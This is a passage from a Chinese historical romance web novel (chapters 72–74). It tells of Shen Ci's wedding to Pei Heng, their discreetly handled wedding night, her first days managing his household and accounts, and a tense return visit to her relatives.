“表姐和表哥的孩子一定会很好看。”楚思怡已经开始期待起来。 沈瓷没回话,只是一直盯着表姐的肚子看,心中升起隐秘的心思。 她也开始好奇,自己日后的孩子是什么模样的。 第72章 第72章婚礼 婚礼办的热闹而盛大,第二天一早,沈瓷就被嬷嬷喊起来收拾,她的院子里围绕着不少的人,外头也是如此。 裴珩过来迎亲,直接被人堵在了大门外。 明明两边都是亲戚,表妹和表弟们却一个个胳膊肘往外拐,半点情面不讲。 只是这么多人凑在一起,也没能将裴珩拦住,无论出了什么题目,裴珩都游刃有余,拦门的一个个面面相觑 ,只觉得裴珩太犯规。 这要怎么才能拦得住? 终归只是热闹热闹,谁也不敢真的拦着裴珩,这要是耽误了吉时,日后还不知要怎么被小裴大人记恨。 沈瓷辞别了外祖父和外祖母,在祝福声中坐进了花轿。 她的心扑通扑通的直跳,入耳皆是数不清的恭贺声,她在喜娘的簇拥下下轿,行礼,进了新房。 新房里挤满了来观礼的人,入目所及全是红彤彤的一片,沈瓷在嬷嬷的指点下唤人,敬茶… 来的人太多,沈瓷根本认不全,只记住了个大概,知晓裴家有哪一些亲戚来过,其余的她半点不强求。 等到晚宴开始,围在新房里的人才渐渐散去,楚映梦和楚思怡她们才有空进来看她,“方才的人太多了些,我有些闷就出去透了透气。” “裴姝原本也是要来的,但她还有一些宾客要招呼。” 沈瓷听到这话直接开口问道:“姐姐可还好?” “我没什么事,放心。”楚映梦坐在一旁仔仔细细打量着新房,只觉得这布置哪哪儿都好看,“这梳妆台可真漂亮。” 沈瓷刚才根本没来得及仔细的看,这会儿听表姐说起,便看了一眼,“的确。” “该不会又是表哥画的图纸,找人做的吧?”楚映梦眼珠子转了转,凑到沈瓷身边开口。 沈瓷不知表姐是存心提及,闻言只是摇头,“我不太清楚。” “我们方才在外头观礼,可有不少姑娘都夸你的嫁衣好看,全部都在打听是哪一家绣坊做的,想要去看看呢。”楚映梦想起方才的情形就忍不住的想笑。 尤其是得知真相后,那脸色更是五彩斑斓的。 “如今可是人人都羡慕沈姑娘,嫁衣上的花样都是未婚夫亲手绘制的。”楚映梦笑意盈盈。 “只是…只是他自己喜欢。” 沈瓷小声说道。 楚映梦却笑而不语,金陵城里比裴珩画技了得的也有不少。 但从不会有人花心思在这上头,而裴珩明明当时根本不在金陵,忙的脚不沾地,竟然连这些事情都考虑到了,这才是她们羡慕的根本原因。 沈瓷看向一旁,强硬的岔开话题,“表姐你饿了吗?我听舅母说你有孕之后时常会感到饿。” “你姐夫早早准备好了,我吃了一些,这会儿不饿。”楚映梦今日来观礼,永宁侯夫人自然饿不着外甥女,早早的给她单独准备了。 “倒是你…我…” 楚映梦话还没说完,外头就传来敲门声,“少夫人,奴婢能进来吗?” 沈瓷没说话,外头也没声音,楚映梦和楚思怡全部看向沈瓷,沈瓷也茫然的看向她们,好一会儿才反应过来,这少夫人喊得是她。 “…进来。” 外头的人得了吩咐,这才走了进来,将一个食盒放在桌上,“少夫人,这是世子吩咐奴婢送来的,让您先吃些东西垫垫。” 楚映梦刚还想着沈瓷会不会饿,没成想表哥就送来了吃食。 沈瓷随意应了一声,但那丫鬟却没有离开,依旧等着,沈瓷也不知她在府上是什么身份,这会儿主动开口问,“可还有事?” “奴婢一会儿要去回话,少夫人可有什么吩咐?” 沈瓷听懂了丫鬟的意思,是问她有没有话要带给裴珩,但她其实没什么要吩咐的,只是表姐和思怡一直看着她,沈瓷有点儿尴尬,她想了想大大方方道:“我没有什么要吩咐的,今日忙碌,还请世子好好招待宾客。” 侍女闻言退下。 楚映梦只觉得有些可惜,“阿瓷,怎么不劝表哥少喝些酒?” 沈瓷摇了摇头,“世子有分寸的,不需要我多言。” 有些话也不能说的太过。 楚映梦和楚思怡很想继续陪着沈瓷,但规矩如此,新房不能久留,她们便是再不舍也只能离开。 夜深人静时,唯有沈瓷一人坐着,裴珩送来的饭菜很可口,里头都是沈瓷喜欢吃的菜。 她的确饿了,也没打算矫情,将那些送来的饭菜吃了不少,外头宾客渐渐散去,沈瓷也终于等来了这间屋子的另一个主人。 裴珩归来时,沈瓷还坐在床上发呆,扇子早就被她放在了一旁,裴珩今日多喝了几杯酒,只觉得头有点疼。 新婚夜,其实没什么人敢大着胆子灌他酒,他纯粹是因为自己高兴,不知不觉多喝了几杯。 替他挡酒的有不少,两个弟弟碍于身份,只能帮着他挡,谁让他的新娘是沈瓷,至于妹夫,早早的被表妹勒令过来帮忙,季衍能如何? 自然乖乖的过来。 裴珩看向了坐在床边的沈瓷,和自己想象当中并没有太大的区别,她从来都长得好看,见过她的人都不会怀疑沈瓷的容颜。 裴珩才关上门,就见沈瓷慌慌张张的拿起了一旁的扇子挡住自己。 这一举动让裴珩忍不住的发笑,“可我都瞧见了。” “…那,要不你出去再进一次?”沈瓷下意识的开口,裴珩原本就想笑,听见这话更是忍不住。 “嗯?再进一次?” “嗯…我看你,挺在意这些事。”沈瓷想起了从扬州送过来的糕点,想起了回礼里面的每一件东西,最终得出了一个结论,她的夫君很注重这些。 裴珩也没让她失望,还真是走到了外头,又进了一次。 他一步一步的走近,坐在了沈瓷的身边,伸出手握住她的手,将那枚团扇取下,“倒也可以那么说…” “但,因人而异。” 因为是沈瓷,所以他想要更多的回忆,想要日后回忆起来,都是一些愉快且幸福的事情。 沈瓷心中自然是感动的,她看着裴珩,开始思考自己这时候该说些什么。 只是还不等她开口,裴珩就端来两杯酒,“夫人,这是合卺酒。” 这就不得不喝,沈瓷从裴珩的手中接过,将照着他的动作将这酒一饮而尽。 “等了许久可是饿了?”裴珩冷静问她,沈瓷其实不太饿,但她当真不知这时候该怎么办,便开始点头。 裴珩让人将外头饭菜撤下,端上来不少的糕点,大多都是沈瓷喜欢吃的。 “听修筠和景澄说你爱吃。” 沈瓷捧着一块糕点,小口小口的吃了起来,她想和裴珩说说话。 沈瓷告诉自己,眼前的这个人已经是自己的夫君了,她不需要忐忑,也不需要不好意思。 他们是夫妻,他们已经认识许久,不该那么生分的,但改了称呼这件事还是让沈瓷有一点紧张。 唯有她自己知道,她的心都在抖,抖的厉害。 也因此她被糕点噎了个正着,沈瓷很是尴尬,又不想被裴珩发现,偷偷摸过一旁的酒,给自己倒了一杯。 酒香凌冽,沈瓷只觉得辣辣的,但糕点好歹顺利的咽了下去,她不敢多喝,也不敢在吃。 又怕裴珩发现,强迫自己寻找话题。 随后低下头,看向自己的嫁衣,“夫…夫君,这嫁衣好看吗?” “嗯?”裴珩抬眸看她,像是有些意外,他原本还以为沈瓷会喊他裴世子。 眼前的这嫁衣,裴珩自然熟悉,是他亲手绘制的,然后沈瓷亲手绣上的花样。 拜堂行礼的时候,他就已经看的清清楚楚,但是这会儿他全然不按套路出来,“看不太清,娘子可否站一站?” 沈瓷也不是头一回向人展示自己的衣裳,只是如今这人 选换了换,从表姐表妹,变成了自己的夫君。 她稍稍的站远了一些,有些紧张的看着裴珩。 裴珩的眼中满是笑意。 他看着沈瓷,眉眼愈发的温柔,“好看。” “夫,夫君画的花样好看,绣坊的娘子,都夸。”沈瓷说完这话想起这些事儿先前已经同裴珩提及过。 一阵尴尬,又连忙说起别的,“今,今日拜堂的时候,也,也有不少人说这嫁衣好看。” “还打听是哪一家的…” 翻来覆去,说的都是一样的话。 裴珩听出了她声音里的颤音,不由出声附和,“嗯,的确好看。” 只希望她不要那么紧张。 “是…是…”沈瓷开始夸自己的嫁衣。 裴珩见她一直站在不远处,忍不住上前一步牵起她的手,她手心冰凉一片,已是九月天,夜里会有些风。 裴珩没什么心思管嫁衣不嫁衣的,搓了搓沈瓷的手问她,“可是冷了?” 沈瓷轻轻摇头,“没有。” “常年皆是如此。” 她其实并不冷,可爹娘从来都觉得她冷,到金陵之后,舅母和表姐她们也时常的担心。 如今成了亲,夫君也这般以为。 沈瓷想起这些事,一滴泪忍不住的掉了下来,刚好砸在裴珩的手背上。 他诧异的抬眸,“可是想家了?” “过几日就可以回去。” 沈瓷继续摇头,只是心中涌现出了不一样的情绪,裴珩轻轻的擦了她眼角的泪,“今日新婚夜,若让人知晓我将新妇惹哭,大抵我是要挨罚的。” 裴珩见她这般,说了些话逗她开心。 沈瓷感受到了裴珩对她的在意,忍不住的往裴珩身边靠了靠。 正人君子在洞房花烛夜的时候,也不需要怎么端方守礼,他娶心上人为妻,本就是人生一大喜事,若再让裴珩忍耐,岂不委屈自己? 他上前一步,将人揽在怀中,低下头朝她唇上吻了下去。 对于新婚夫妻,这是极其平常的事,只是沈瓷有些无措,她睁大眼眸,像是有些意外,那一瞬间的反应骗不了人。 随后她平静下来,乖巧顺从的被动承受着,便是这样的乖巧,让裴珩心中生出不少的情绪来。 他想这双眼睛里,可以看见他的存在,也想这双眼眸里,映出别样的神色。 床榻不过几步之遥,何时倒下的其实不太清楚,上头全是桂圆花生之类的吉祥物品。 裴珩有些烦躁的将那些东西扫罗一地。 分神的想着究竟是谁撒的。 他揽着沈瓷躺在一旁,小心的护着她不被咯着,抓起一颗红枣问道,“没让他们收拾吗?” 沈瓷被吻的有些迷迷糊糊的,脸色绯红一片,此番听见裴珩的话,稍稍分神出来想了想,“没让进…” 丫鬟婆子说要收拾,沈瓷说不用,她也不知为何,那时候单纯不想让人进来。 自从表姐和思怡走了后,她就没让人进来,沈瓷骨子里是被父母娇养长大的,来了金陵后,也有舅舅舅母宠她,她许多时候的确好说话,但很多时候也是说一不二。 这一点裴珩很清楚。 偏偏,他不觉得是坏事。 “嗯,娘子只需要照着自己的心意过。”裴珩浅浅的夸了她一句,颇有些漫不经心的。 他没见过修筠和景澄记忆中的阿瓷,但裴珩甚至爱屋及乌的道理,他想若是早早的认识,他也会喜欢。 只要是沈瓷,他都喜欢。 裴珩和她说着话,驱散了沈瓷心中那些若有若无的恐惧,那件漂亮的嫁衣不知何时被剥离,被主人无情的丢弃在一旁。 沈瓷看着嫁衣落下,下意识伸出手想去抓住,手掌却被裴珩抓住。 缠绵的吻渐渐落下,尽数落在她的肩窝处,沈瓷难耐的往一边躲去,忍不住的伸出另一只手去碰他的肩,尚未有所动作,就被裴珩察觉。 他握着她的手压在了一旁。 这下子,是彻底的动弹不得。 沈瓷只觉得浑身都热,忍不住的想要逃开,却不知要逃去哪里,那已经不清明的脑子愈发的混沌,她盯着床幔,想起出嫁之前舅母的吩咐和交代。 出声唤人,“夫,夫君。” “嗯。”裴珩浅浅的应了声,他虽多喝了几杯,可好歹还清醒,至少还顾及着这是自己的妻子。 “停,停下。” “怎么?”裴珩微微一顿,开始怀疑自己是不是弄疼了她,可他不是还什么都没做? 裴世子虽喝了些酒,但对自己的认知还是很清楚的,想通原委之后,他手下的动作没有半点停歇。 他想过许多种情况,想过沈瓷不愿,想过她要拒绝,想过她害怕,也想过她害羞。 却没想过她会说出让他根本意想不到的话,“舅母说…新婚夜,要,要伺候夫君。” 沈瓷大概是醉了,不然也说不出这样的话。 裴珩有些疑惑的看向她,心说她到底知不知道自己说了什么? 怪不得一直不爱喝酒,原来一杯合卺酒就能将她灌醉吗? 裴珩想起她从前的模样,深深怀疑今日合卺酒里放了些别的东西,但不妨碍裴世子对妻子的夸赞,知晓自己酒量不好,就不会随便乱喝,能好好的保护自己,当真极好。 想到这里他的语气更温柔了些,也就顺着她的话往下说,“无妨,我们是夫妻。” “嗯?” “夫妻本是一体,你伺候我,还是我伺候你,并无太大区别。”裴珩随口胡诌。 至于到底是怎么伺候,仁者见仁智者见智。 沈瓷将信将疑,她觉得这话有些问题,但脑子已经不太够用,听不出哪里有问题。 只知道眼前这个人是自己的夫君,总不至于会骗她的。 “你不相信我?” 沈瓷摇了摇头,发髻尽数的散乱,乌黑的墨发散落着,裴珩勾起了她的头发放在掌心把完,语气失落的问道,“我是你夫君,你怎么好不信我?” 他说的信誓旦旦,沈瓷原本就信他,此番更是信了七八分。 “嗯…信,夫君,我信的。”她说的认真,裴珩的手仔仔细细的描绘着她的眉眼,仿佛要把这容颜尽数记在心中。 “阿瓷。”他唤了一个藏在心里许久的称呼,到今天才能正大光明的喊出来。 沈瓷听见有人喊她,缓缓的抬眸,看向面前的人,她眼眸中水光滟滟,分外勾人。 她眼中已没有多少清明。 裴珩却无端端的生出了些别扭心思,“你可还认得我?” “夫君…” “那你夫君是谁?”裴珩不死心的追问。 天可怜见的,他竟还有些紧张,好在沈瓷没让他失望,还记得他的名字,“裴珩。” “嗯…”裴珩心满意足,沈瓷听见他这奇怪的问题,很认真的告诉他自己没有喝醉。 “嗯…”显然不信,喝醉了的都这么说。 “我只是有一些头晕。”沈瓷按了按自己的头,她清楚的知道眼前的人是谁,也清楚的知道今日是什么日子。 “夫君,我当真没有喝醉。” 她固执的要证明什么,裴珩也不让她失望,在那红艳艳的唇上又落下一吻,“如此甚好。” 他还可以少一个趁人之危的罪名… 月色溶溶,春色浓浓。 第73章 第73章不过是想让你高兴些 沈瓷醒过来的时候,尚不知是什么时辰,她觉得有些头疼,也有些难受,费力的想要睁开眼,却怎么都办不到。 细微的动静惊动了身边的人,裴珩很快就醒了过来,轻声问她,“怎么了?” “有一些头疼。”沈瓷其实有一些不习惯,但她知晓身边的人是谁,不会做出什么奇怪的举动来。 这是一个陌生的地方,即便这是她日后的住处,但对于目前的沈瓷而言,依旧陌生。 是以她昨日根本就没有睡好。 其实裴珩也是一样,他昨日也没有睡好,身边多了一个人,他也很不习惯。 “我让人去准备一些醒酒茶。” 沈瓷忍不住的笑起来,“准备醒酒茶做什么?我又没有喝醉。” 她睁开眼睛,缓缓的撑着自己的身体要起来,裴珩看了一眼边上的刻漏,告诉她还早,不用那么早起。 “不是还要敬茶?” “下头的人比你我更加挂心,时辰到了自会过来。”裴珩揽着沈瓷的腰,哄着她继续睡,实则她醒过来后就不太睡得着,裴珩也是一样。 但就是不愿意这个时候起来,只想和沈瓷腻腻歪歪的躺着。 哪怕什么都不做。 身后的人存在感实在是太强,沈瓷其实有些不习惯,可若这会儿挣扎,到底也没什么必要。 “一会儿去敬茶的时候,你不要紧张,我会同你在一起。”裴珩说完这句话,又觉得有些不太合适。 “我想,你也不会紧张的。” 沈瓷面对长辈的时候,从来都是游刃有余。 裴珩话语里的夸赞,沈瓷听得清清楚楚,她想说自己其实没有那么厉害,也会害怕的,昨日就是如此。 “公公和婆婆…他们喜欢什么?”沈瓷尚在家中时,从不会考虑这些事情,那时候父母给她定下了婚约,沈瓷便同意了。 亲事对她来说,当真不算什么。 以至于后来退婚的时候也不太在意。 韩嵩倒是她想为自己选择的丈夫,权衡利弊之后觉得尚可,但是韩嵩的家中实在是太过麻烦,那是沈瓷头疼的地方。 婚事告吹,她虽然有些烦闷,倒也不算失落。 和韩嵩本人都没什么关系。 对象换成裴珩之后,她就有一些不知所措,因为无法预估,不知道后续会变成什么模样。 至少,若成亲的人是韩嵩,她所要面临的事情,并不会太麻烦。 “父亲喜欢字画,母亲喜欢品茶。”裴珩并未敷衍,也并没有告诉沈瓷他的父母一定会喜欢她之类的。 这话说出来实在是太假,裴珩连自己都说服不了,又怎么去说服沈瓷? “字画我不太懂…”沈瓷闻言有些头疼,倒是品茶… “我会泡茶。”沈瓷的心中有一些雀跃,继续追问他,“婆婆一般喜欢什么茶?” 她问的认真,裴珩回答的也认真。 “下回让宝云去套套话,正院常取用的哪些,就可以推测一二。” 裴珩说话的时候一直将她圈在怀中,沈瓷最开始有些不太习惯,但裴珩坚持,她也不好挣扎什么。 只是被裴珩拥着,她莫名的有些犯困,下意识的在裴珩怀里寻了个舒适的位置,这是无意识的举动。 裴珩也没有去提醒她。 若是这会儿去提醒了,她怕是要不自在。 他们时不时的说着话,时间就这么悄无声息的过去,直到外头丫鬟开始催促。 “我忽然觉得有些困了。” 沈瓷:“……” “夫君,我们要去敬茶了。”沈瓷认真说道。 裴珩才不情不愿的拉着她起身。 两人到堂屋的时候,已经有不少女眷在此等候,永宁侯府的人口比较简单,但架不住这一回裴珩成亲,来了不少相熟的女眷,乌泱泱的占据了许多地方。 在族亲的见证之下,裴珩和沈瓷给永宁候夫妇敬了茶,收到了不菲的红包。 裴珩将自己手上那个递给了沈瓷。 是什么意思不言而喻。 屋中长辈都笑着打趣两人,“梦洲成亲之后,倒是体贴不少。” “梦洲一向稳重,那里是成亲之后才有的?” 长辈们带着善意的目光打量着沈瓷,沈瓷是新妇,本也不需要寒暄什么,她在众人看过来时露出了得体的笑容。 敬过茶改了口之后,永宁候夫人携女眷去往上院,裴姝则陪着沈瓷一块儿往前头走,“沈姐姐往这边走。” 沈瓷听见裴姝的称呼,心中略过一丝怪异,只不过这话她尚未问出来,裴姝便善解人意道:“我这是和景澄哥哥学的,我们各论各的。” 她俏皮的眨了眨眼睛,同沈瓷说起前头的那些亲戚都是谁,解释了这些错综复杂的关系。 沈瓷将裴姝的好意全部都记在了心里。 女眷们围在一块儿,无非说些家长里短,此番因为昨日的婚事,众人对沈瓷很是好奇,大多瞧见沈瓷第一眼,全部都落在了她的容貌之上。 “新妇这般好颜色,梦洲好福气。” 沈瓷没有说话,全是永宁候夫人在周旋,她素来都知道媳妇长得好看,这也不是什么见不得人的事,谁还会嫌自己的儿媳妇长得不好? 说句不好听的,长得好看,日后有了孩子才好看不是? 永宁候夫人只当听不出话中深意,幽幽的点了头,“和梦洲郎才女貌,瞧着登对。” 沈瓷知道,梦洲是裴珩的字。 只是先前她有些陌生,如今听人一口一句梦洲,听多了倒也习惯。 晚些时候,上院摆了饭,永宁候夫人带着沈瓷一块儿张罗,沈瓷虽然有些生疏,可学的认真,上手也极快。 永宁候夫人看的很是满意,“之后大大小小的家宴,有你操持,娘也能放心不少。” “母亲谬赞,我还有许多地方要学。” “慢慢学就好。”永宁候夫人原本就知道沈瓷家中是什么情况,早在裴珩提及的时候,她就已经歇了旁的心思。 转念想一想,儿媳妇乖乖巧巧,娘家没有什么乌七八糟的事儿,本也清净,“日后,娘只希望你们夫妻二人能够相互扶持,有商有量,好好的过日子。” 沈瓷自是应下,结发为夫妻,自然要相互扶持。 * 沈瓷在上院待了许久,直到永宁候夫人开口,她才得以离开,婆母倒不是要给她做规矩,只是之后几日,还有大大小小的家宴要操持。 沈瓷回到院落,秋叶和冬竹迎了上来,“少夫人。” 沈瓷听见这称呼又是一愣,只是她脸上没太大的表情,很好的将这些情绪给掩埋。 “世子呢?” “世子这会儿在书房,您可要过去?” 沈瓷缓缓摇头,她进屋换了衣裳,两个丫鬟也跟了进来,沈瓷问她们俩今日发生了何事。 永宁侯府对她而言,本就人生地不熟,院子里是个什么情况,她总要弄明白。 沈瓷去上院后,二人也没闲着,该打听的全打听出来了,“世子院里没什么人,除了伺候的小厮,还有个惯用的丫鬟,叫宝云。” 那丫鬟沈瓷见过,便是昨日给她送吃食的。 那姑娘聪明又能干,很得裴珩看重。 因为裴珩还特意同她提过,但裴珩对丫鬟可没什么心思,纯粹觉得那是料理琐事的一把好手,“我院子里虽然没什么人,可诺大的侯府,主子才几个人?” 只一句话,沈瓷就知道要将那丫鬟放在什么位置。 “嗯。”沈瓷轻轻的点头,将这些事记了个大概,裴珩的书房沈瓷没有去,虽说裴珩并没有这方面的忌讳。 沈瓷坐在软榻上小憩,外头传来了宝云求见的声音,“少夫人,奴婢来送院中的一些账册。” “进来。” 宝云麻利的走了进来,行完礼后便将账册和钥匙全部放在了沈瓷面前,“这些是历年的账册,全部都在这里头。” 沈瓷随意的翻了翻,问了些问题,宝云都对答如流。 “先搁着吧。”沈瓷这会儿也懒得看,打发宝云出去。 宝云很识时务,少夫人不说话,她也什么都不会说,沈瓷在丫鬟走后强撑着精神去看那些账本,记录的很清楚,她也不需要多费心思。 只是看着看着,她也发现了不少端倪,裴珩似乎,太有钱了些。 沈瓷看着账面上的银钱,忍不住拿起算盘拨弄起来。 算着算着,又拿出了自己的提及开始算。 裴珩从书房过来,就瞧见卧房的桌子上摊了不少的账本,也没丫鬟伺候着,他刚要进屋,就听见沈瓷冷淡的声音,“不用人伺候,出去。” 这是将他当成丫鬟了? 裴珩不太在意的往前走了几步,适时出声提醒她,“夫人,这也是我的屋子。” 沈瓷这 才抬起头来,看见是裴珩之后,多少有些尴尬,“夫君忙完了?” “怎么不让人通传一声…” “我让她们不要出声,本想给你个惊喜…” 裴珩多少有些挫败,惊喜不曾有,惊吓也没有吓到她,她的反应和他以为的,从来都不一样。 他也就将这事儿放下,问沈瓷在看什么。 “宝云送来了账册,我在算银子。”沈瓷实诚的很,看着账面的银子道,“你有好多钱。” 裴珩挑了挑眉,“?” 这算是夸他吗? “这些又是什么?” “唔…”沈瓷看了另一边,开始想着要不要说出来,但她一想到裴珩的影子,又想想自己的,也不算什么。 “舅母给我的嫁妆。”沈瓷垂下眼眸道。 裴珩像是看出了什么似得,找出了不少的银票,统统放到沈瓷的手上,“现在是你的了。” 沈瓷头一回觉得钱烫手。 “即是姑姑给的嫁妆,那就妥帖的收好。”裴珩也没去过问到底有多少,女子的嫁妆那都是她的私产,问那么清楚做什么? 至于他的产业,当然是交给妻子才合理。 “我们已经成亲,这些事应当你来操心才对。”裴珩毫无心理负担,同时告诉沈瓷他名下有多少的铺子,沈瓷听完之后,忽然问了一声,“先前都是宝云打理的吗?” 裴珩点头,“长鸣也会负责一部分。” 长鸣还要做别的事。 “所以,宝云是不想管事了,所以才将账册送来的是吗?”沈瓷认真问道。 裴珩闻言忍不住的摸了摸她的脸,总觉得她小脸紧绷的模样很是有趣,“不过是想你高兴些。” “给了你的就是你的,你先怎么分配都成。” “我知你应当不会因为银子而发愁,但我不想你见着什么喜欢的东西时,还要权衡。” 她从前过的什么日子,和他成亲当然也要过什么日子。 总不能让岳父岳母不安心。 第74章 第74章回门 新婚第二日,沈瓷拿到了裴珩的财产,一时间变得富有极了,沈瓷虽未明说,但眼眸中的笑意早就将她出卖彻底。 实则裴珩的财产早就已经全权交给沈瓷,“我给你的那块玉佩,就是凭证。” 裴珩送出去的时候可没想到这些,如今说起来却有了些邀功的嫌疑。 就是这嫌疑不大,沈瓷也没发现,她只是想着那一大堆的房契和地契,忍不住开始担心,她可不觉得自己是什么很有自制力的人,“你就不担心吗?” “无妨。”裴珩在她的脸颊上落下一个吻,“督促他们多赚些银子就好。” 沈瓷没得反驳,拿算盘拨弄着,裴珩见她一时半会儿没有别的心思,就陪着她一起算。 只是沈瓷拨弄了半天都没算明白,裴世子的耐心已经告罄,将账本从她手中抽出放到一边提醒道,“娘子,夜深了。” 沈瓷看了眼刻漏,低低的应了声,“嗯。” 任由裴珩牵着她的手往往内室走去,昨夜她晕晕乎乎的,今日倒是清明,但沈瓷还是有些羞涩。 忍不住的想躲。 她生生的克制着,脑子里满是身为妻子的职责,想要费力的取悦裴珩,明明不得章法,偏偏她还以为自己做的极好。 总是偷偷的去看裴珩,想知道他这会儿是什么模样。 裴珩有些想笑,又不想沈瓷恼羞成怒,免得日后都见不着,多少有些辛苦。 只是自己的妻子,自然是哪哪儿都好。 即便她什么都不懂,什么都不会,有些事儿也只是了解了个大概,可裴珩依旧被引诱,渐渐的沉沦着。 裴珩想,自己应该更克制一些的,明日还要回门,但克制这种事,原本就很不容易。 尤其是…面对沈瓷的时候,更是不太能够办到。 没什么不长眼的小厮和丫鬟会在这个时候打搅,沈瓷一直记得舅母的教导,要牢牢的抓住丈夫,早些生个孩子。 沈瓷倒也想生孩子,可舅母也从没告诉她,生孩子的过程会这般的累人… 她明明是不想哭的,这其实也没有什么好哭的,又不是什么不好的事,但眼泪就是不受控制的掉了下来,掉的猝不及防。 泪水被裴珩轻轻的拭去,他嘴上说着哄她的话,动作却半点没有停歇。 到最后沈瓷已经什么都听不见,只记得裴珩的各种哄骗… 她信以为真,结果等回过神来已经不知是什么时候。 * 翌日回门,沈瓷毫无意外的起晚了,若非要回门,他也不会扰人清梦。 沈瓷迷迷糊糊的揉着眼睛醒来,说有些困。 “今日回来后早些睡,若实在困,路上也可以歇歇。”裴珩软声哄她,沈瓷和他说着话,困意消散了七八分。 她点点头,任由丫鬟打扮她。 梳妆台上的首饰大多都是从舅舅家带来的,里头还有不少首饰都是裴珩送的,他早早的穿戴整齐,坐在一旁看起首饰来,一个个放在沈瓷的头发上比划。 还真让他选了不少出来。 首饰被摊在面前,裴珩的心思任谁都看得明白,秋叶下意识的去看沈瓷,见她点头才放心。 回门礼早早的准备好,因为双方都是亲戚,也没有太多的讲究,裴姝也跟着兄嫂一块儿去了。 姑嫂两个坐在马车上说说笑笑,倒是将裴珩单独撇在一旁,裴世子也不太在意。 兀自的看着公文。 虽然休了假,但该处理的公务,还是要处理。 “嫂嫂,你这簪子可真好看。”裴姝真心诚意的夸赞道,忍不住凑近的看了看。 沈瓷听见她对自己的称呼,下意识看了眼裴姝,像是发现了什么。 但她没有说,只是顺着裴姝的话开口,“夫君送的。” 裴姝看了看嫂嫂头上精致的簪子,再看了看自己屋子里那些明显的添头。 一时间有些气闷。 “怎么送嫂嫂的那么好看?送我的就不好看?”裴姝气呼呼的瞪了兄长一眼。 裴珩充耳不闻,只当什么都没听见,而裴姝也早已经习惯,抱怨两句之后,就没了下文。 依旧高高兴兴的和沈瓷说话。 但沈瓷却记挂着裴姝说的话,“过几日我们去珍宝阁看一看?” 裴姝本也不缺这一两件首饰,方才是故意问起的,结果也不出意料,兄长根本就懒得搭理她,好在嫂嫂还记着她,裴氏便趁机提要求,“用哥哥的银子买。” 沈瓷偷偷看了眼裴珩,认真的点了头,“成。” 姑嫂两个达成共识,算计着要去买什么,裴珩心思虽然在公文上,倒也将两人的对话听了七七八八。 * 到忠毅伯府时,楚恒和裴氏带着小辈们早早的等候着,就连楚映梦也在,季衍虽不在,但楚修筠可不敢让她随便乱动,吩咐了好多伺候。 明明几天前才见过,但沈瓷却觉得已经许久未见。 二人先是去福寿堂见过楚老太爷和楚老夫人,收了不少的见面礼,又去拜见楚大夫人和楚胜。 楚胜对沈瓷没什么感情,自然也没什么记挂,凡事公事公办,虽不亲厚却也不出错。 楚大夫人在自己的院子里,没往外头去,见着他二人时态度倒还和善。 等到裴珩离去,她说起话来就阴阳怪气许多,沈瓷听得清清楚楚,等到大舅母说痛快了。 才轻声开口,“舅母说的是,大表姐盛名,我自是比不得。” 楚大夫人的脸色青一阵白一阵,这盛名二字讽刺意味十足,人人都知楚秋灵没有分寸得罪小姑子,开罪了婆母,金陵的宴会,没人爱请她去。 今日也是一样,裴氏没下帖子邀请,偏偏沈瓷还哪壶不开提哪壶,“不知大表姐今日为何没来?” “难道是不愿同姊妹们亲近吗?” 沈瓷面上满是疑惑,看的楚大夫人心头火起,“你…” “哎呦,阿瓷我肚子不太舒服,你扶我一扶。”楚映梦适时出声,强行打断大伯母的话,沈瓷见好就收立刻赶过来搀扶。 楚思怡也在一旁大呼小叫,“表姐,我们要不要请大夫?” “姐姐可还好?”沈瓷脸上全是担忧,扶着楚映梦就往外头走,临了才想起什么,同楚大夫人告辞。 气的楚大夫人浑身颤抖,“这几个臭丫头。” 手边摸着了一盅茶盏,还是沈瓷方才敬茶时候用的,这杯子虽是自己的,但楚大夫人此番膈应不已,恨不得提起来砸碎,旁边嬷嬷眼疾手快的按下,“大夫人,可万万不能如此。” “今日表 姑娘回门,二夫人很是看中,若此番闹出乱子,老夫人必定不喜…您在府上可要撑住体面,不然我们大姑娘的日子可怎么过?“嬷嬷冷静开口。 楚大夫人忍了许久才堪堪忍住。 后头的事儿,沈瓷几人一概不知,她扶着楚映梦往外走去,一出远门,楚映梦就生龙活虎的松开了手,“若非看在她是大哥亲娘的面子上,真真想气死她。” 楚映梦狠狠说道,又夸赞了沈瓷几句,“原本还担心你被那刁妇欺负,这样一来我也就放心了。” 今日回门,她也想体体面面,偏生大舅母不愿,她也实在没法子。 “楚秋灵没回来吗?”沈瓷疑惑问道。 “她那婆母将她拘在家中,母亲也没给承宁伯府下帖子,她自然出不来。”楚映梦不以为意,这若是大伯母办的宴会,大伯母自然可以做主,谁让这是沈瓷的回门宴。 “先前她惹出那么多的乱子,今日好好的回门宴若是被她搅合,我娘可不会罢休。” 想来承宁伯夫人也知儿媳妇秉性,索性不让出门。 楚秋灵和承宁伯世子的婚事,到底还是成了,即便承宁伯府各种不愿,但婚事已定下,哪能那么轻易的退婚。 换亲不成,原本的新娘也只能认下。 再者还有裴珩从中作梗,楚秋灵的婚礼还比沈瓷更早一些。 承宁伯世子成亲之后就离开了金陵,任凭楚秋灵怎么闹腾都没有用。 “听季衍说,承宁伯府上这些日子很不安生。”楚映梦也不想打听这些,谁让这些事都不是秘密。 早就传的到处都是,楚映梦每日无聊的紧,只靠这些来打发时间。 “我还听说婆媳两个不对付,楚秋灵虽然跋扈,但到底是去当儿媳妇的,也容不得她嚣张。”楚映梦纯粹看不惯她。 沈瓷和楚秋灵也不对付,犯不着为她说好话。 几人梁子结的深,新仇旧怨加在一块,根本无法说和。 楚家大夫人倒因为这些事心生不满,但她没法去折腾旁人,只是一个劲的找楚修筠说话。 “我倒是有些心疼大哥,成日里还要应付大伯母。”楚映梦这会儿只觉得,大伯父一家还不如不要回来的好。 他们几个从小一起长大,裴氏在楚修筠身上倾注的心血不比亲生子少,楚修筠是什么性子,大家都清楚。 明知是母亲和妹妹有错在先,偏偏还因为是亲生母而无法避开,实在是让人烦闷。 “大舅母又做了什么?” “说我们几个都排挤楚秋灵,出门也不会想着她,让她总是孤孤单单一人,还说我们不念手足亲情。” 翻来覆去说的都是一样的话,也难怪楚修筠头疼。 就是他们几个听得多了也觉得麻烦。 “若她就此改了,在外人面前为了大哥,我倒也能全她一份体面,可这对母女全然不知所谓,一个嚣张跋扈,一个一味给大哥施压…自知理亏不好来求你,可求我也没个态度,高高在上的吩咐着,她当自己是谁?”楚映梦提及就头疼。 气的都有些口不择言,“承宁伯世子外放怎么不把她给带去?” “大抵也是不想家无宁日。”沈瓷顺势接话,楚映梦听明白之后忍不住笑起来。 